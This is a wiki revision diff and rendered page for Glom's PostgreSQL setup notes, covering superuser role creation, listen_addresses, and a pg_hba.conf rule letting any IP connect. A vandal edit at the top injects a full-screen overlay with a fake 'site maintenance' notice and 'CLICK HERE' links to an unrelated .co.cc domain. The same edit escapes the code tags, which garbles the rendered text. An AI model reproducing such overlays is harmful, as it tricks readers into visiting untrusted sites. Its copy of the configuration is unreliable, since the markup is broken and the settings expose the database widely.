Difference between revisions of "Initial Postgres Configuration"

From Glom
Jump to: navigation, search
(Don't worry about the port, because recent versions of Glom check more than one port number.)
Line 1: Line 1:
 +
----
 +
<div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;">
 +
----
 +
=[http://ocilufic.co.cc Page Is Unavailable Due To Site Maintenance, Please Visit Reserve Copy Page]=
 +
----
 +
=[http://ocilufic.co.cc CLICK HERE]=
 +
----
 +
</div>
 
Note that '''since Glom 1.4, no manual configuration of your local PostgreSQL server is necessary'''. However, these notes might be useful when configuring a central database server for use with Glom.
 
Note that '''since Glom 1.4, no manual configuration of your local PostgreSQL server is necessary'''. However, these notes might be useful when configuring a central database server for use with Glom.
  
Line 7: Line 15:
 
== Create a user who can create databases ==
 
== Create a user who can create databases ==
  
<pre>
+
&lt;pre>
 
[murrayc@localhost]$ su
 
[murrayc@localhost]$ su
 
Password:
 
Password:
 
[root@localhost]# su postgres
 
[root@localhost]# su postgres
</pre>
+
&lt;/pre>
 
(Or "sudo -s -u postgres" on Ubuntu, entering your password when asked)
 
(Or "sudo -s -u postgres" on Ubuntu, entering your password when asked)
  
Line 17: Line 25:
  
 
With Postgres 8.1, it looks like this:
 
With Postgres 8.1, it looks like this:
<pre>
+
&lt;pre>
 
$ createuser -P
 
$ createuser -P
 
   (-P means "assign password")
 
   (-P means "assign password")
Line 25: Line 33:
 
Shall the new role be a superuser? (y/n) y
 
Shall the new role be a superuser? (y/n) y
 
CREATE ROLE
 
CREATE ROLE
</pre>
+
&lt;/pre>
  
 
With Postgres 7.4, it looks like this:
 
With Postgres 7.4, it looks like this:
<pre>
+
&lt;pre>
 
$ createuser -P
 
$ createuser -P
 
   (-P means "assign password")
 
   (-P means "assign password")
Line 37: Line 45:
 
Shall the new user be allowed to create more new users? (y/n) y
 
Shall the new user be allowed to create more new users? (y/n) y
 
CREATE USER
 
CREATE USER
</pre>
+
&lt;/pre>
  
 
== Allowing access ==
 
== Allowing access ==
Line 46: Line 54:
  
 
As root, edit
 
As root, edit
<pre>/etc/postgresql/8.1/main/postgresql.conf</pre>
+
&lt;pre>/etc/postgresql/8.1/main/postgresql.conf&lt;/pre>
 
(In Ubuntu Dapper, using sudo)
 
(In Ubuntu Dapper, using sudo)
 
or
 
or
<pre>/etc/postgresql/7.4/main/postgresql.conf</pre>
+
&lt;pre>/etc/postgresql/7.4/main/postgresql.conf&lt;/pre>
 
(In Ubuntu Breezy, using sudo)
 
(In Ubuntu Breezy, using sudo)
 
or
 
or
<pre>/var/lib/pgsql/data/postgresql.conf</pre>
+
&lt;pre>/var/lib/pgsql/data/postgresql.conf&lt;/pre>
 
(In Fedora Core.) Note that FC3 and FC4 have Postgres 7.4. FC5 has Postgres 8.1.
 
(In Fedora Core.) Note that FC3 and FC4 have Postgres 7.4. FC5 has Postgres 8.1.
  
Line 58: Line 66:
  
 
Add this line, replacing (or commenting-out) any previous settings for listen_addresses
 
Add this line, replacing (or commenting-out) any previous settings for listen_addresses
<pre>
+
&lt;pre>
 
listen_addresses = '*'
 
listen_addresses = '*'
</pre>
+
&lt;/pre>
  
 
The default, which is also often on a commented-out line, when you don't set listen_addresses, is  
 
The default, which is also often on a commented-out line, when you don't set listen_addresses, is  
<pre>
+
&lt;pre>
 
listen_addresses = 'localhost'
 
listen_addresses = 'localhost'
</pre>
+
&lt;/pre>
 
but this does not allow connections from other computers.
 
but this does not allow connections from other computers.
  
Line 73: Line 81:
  
 
Change
 
Change
<pre>
+
&lt;pre>
 
#tcpip_socket = false
 
#tcpip_socket = false
</pre>
+
&lt;/pre>
 
to
 
to
<pre>
+
&lt;pre>
 
tcpip_socket = true
 
tcpip_socket = true
</pre>
+
&lt;/pre>
  
 
=== pg_hba.conf ===
 
=== pg_hba.conf ===
  
 
As root, edit
 
As root, edit
<pre>/etc/postgresql/8.1/main/pg_hba.conf</pre>
+
&lt;pre>/etc/postgresql/8.1/main/pg_hba.conf&lt;/pre>
 
(In Ubuntu Dapper, using sudo)
 
(In Ubuntu Dapper, using sudo)
 
or
 
or
<pre>/etc/postgresql/7.4/main/pg_hba.conf</pre>
+
&lt;pre>/etc/postgresql/7.4/main/pg_hba.conf&lt;/pre>
 
(In Ubuntu Breezy, using sudo)
 
(In Ubuntu Breezy, using sudo)
 
or
 
or
<pre>/var/lib/pgsql/data/pg_hba.conf</pre>
+
&lt;pre>/var/lib/pgsql/data/pg_hba.conf&lt;/pre>
 
(on Fedora Core)
 
(on Fedora Core)
  
 
Add this host line, before any other uncommented host lines:
 
Add this host line, before any other uncommented host lines:
  
<pre>
+
&lt;pre>
 
#Allow any IP to connect, with a password:
 
#Allow any IP to connect, with a password:
 
host    all        all        0.0.0.0          0.0.0.0      md5
 
host    all        all        0.0.0.0          0.0.0.0      md5
</pre>
+
&lt;/pre>
 
(I think the gaps can be either tabs or spaces.)
 
(I think the gaps can be either tabs or spaces.)
  

Revision as of 15:33, 23 November 2010



Page Is Unavailable Due To Site Maintenance, Please Visit Reserve Copy Page


CLICK HERE


Note that since Glom 1.4, no manual configuration of your local PostgreSQL server is necessary. However, these notes might be useful when configuring a central database server for use with Glom.

Each distro has a different default configuration for Postgres. These notes should help you make Postgres work with Glom.

If you can improve this advice, then please go ahead and edit this page. In the future, we hope to provide a user interface to make this easier. Since Glom 1.3.5, Glom can use Postgres directly for self-hosting, without needing any Postgres configuration.

Create a user who can create databases

<pre> [murrayc@localhost]$ su Password: [root@localhost]# su postgres </pre> (Or "sudo -s -u postgres" on Ubuntu, entering your password when asked)

Now use createuser to create a user that may access the postgres server.

With Postgres 8.1, it looks like this: <pre> $ createuser -P

 (-P means "assign password")

Enter name of role to add: murrayc Enter password for new role: Enter it again: Shall the new role be a superuser? (y/n) y CREATE ROLE </pre>

With Postgres 7.4, it looks like this: <pre> $ createuser -P

 (-P means "assign password")

Enter name of user to add: murrayc Enter password for new user: Enter it again: Shall the new user be allowed to create databases? (y/n) y Shall the new user be allowed to create more new users? (y/n) y CREATE USER </pre>

Allowing access

By default, Postgres usually only allows connections from the same computer, and not via the TCP/IP connection method that Glom uses. You need to change this like so:

postgresql.conf

As root, edit <pre>/etc/postgresql/8.1/main/postgresql.conf</pre> (In Ubuntu Dapper, using sudo) or <pre>/etc/postgresql/7.4/main/postgresql.conf</pre> (In Ubuntu Breezy, using sudo) or <pre>/var/lib/pgsql/data/postgresql.conf</pre> (In Fedora Core.) Note that FC3 and FC4 have Postgres 7.4. FC5 has Postgres 8.1.

If you have postgres >=8.1

Add this line, replacing (or commenting-out) any previous settings for listen_addresses <pre> listen_addresses = '*' </pre>

The default, which is also often on a commented-out line, when you don't set listen_addresses, is <pre> listen_addresses = 'localhost' </pre> but this does not allow connections from other computers.

(The tcpip_socket variable from postgres 7.4 is not recognized with postgres 8.1.)

If you have postgres 7.4

Change <pre>

  1. tcpip_socket = false

</pre> to <pre> tcpip_socket = true </pre>

pg_hba.conf

As root, edit <pre>/etc/postgresql/8.1/main/pg_hba.conf</pre> (In Ubuntu Dapper, using sudo) or <pre>/etc/postgresql/7.4/main/pg_hba.conf</pre> (In Ubuntu Breezy, using sudo) or <pre>/var/lib/pgsql/data/pg_hba.conf</pre> (on Fedora Core)

Add this host line, before any other uncommented host lines:

<pre>

  1. Allow any IP to connect, with a password:

host all all 0.0.0.0 0.0.0.0 md5 </pre> (I think the gaps can be either tabs or spaces.)


Now, restart the Postgres server. The easiest way to do this is to restart your computer.

Useful test tools

pgadmin3 phppgadmin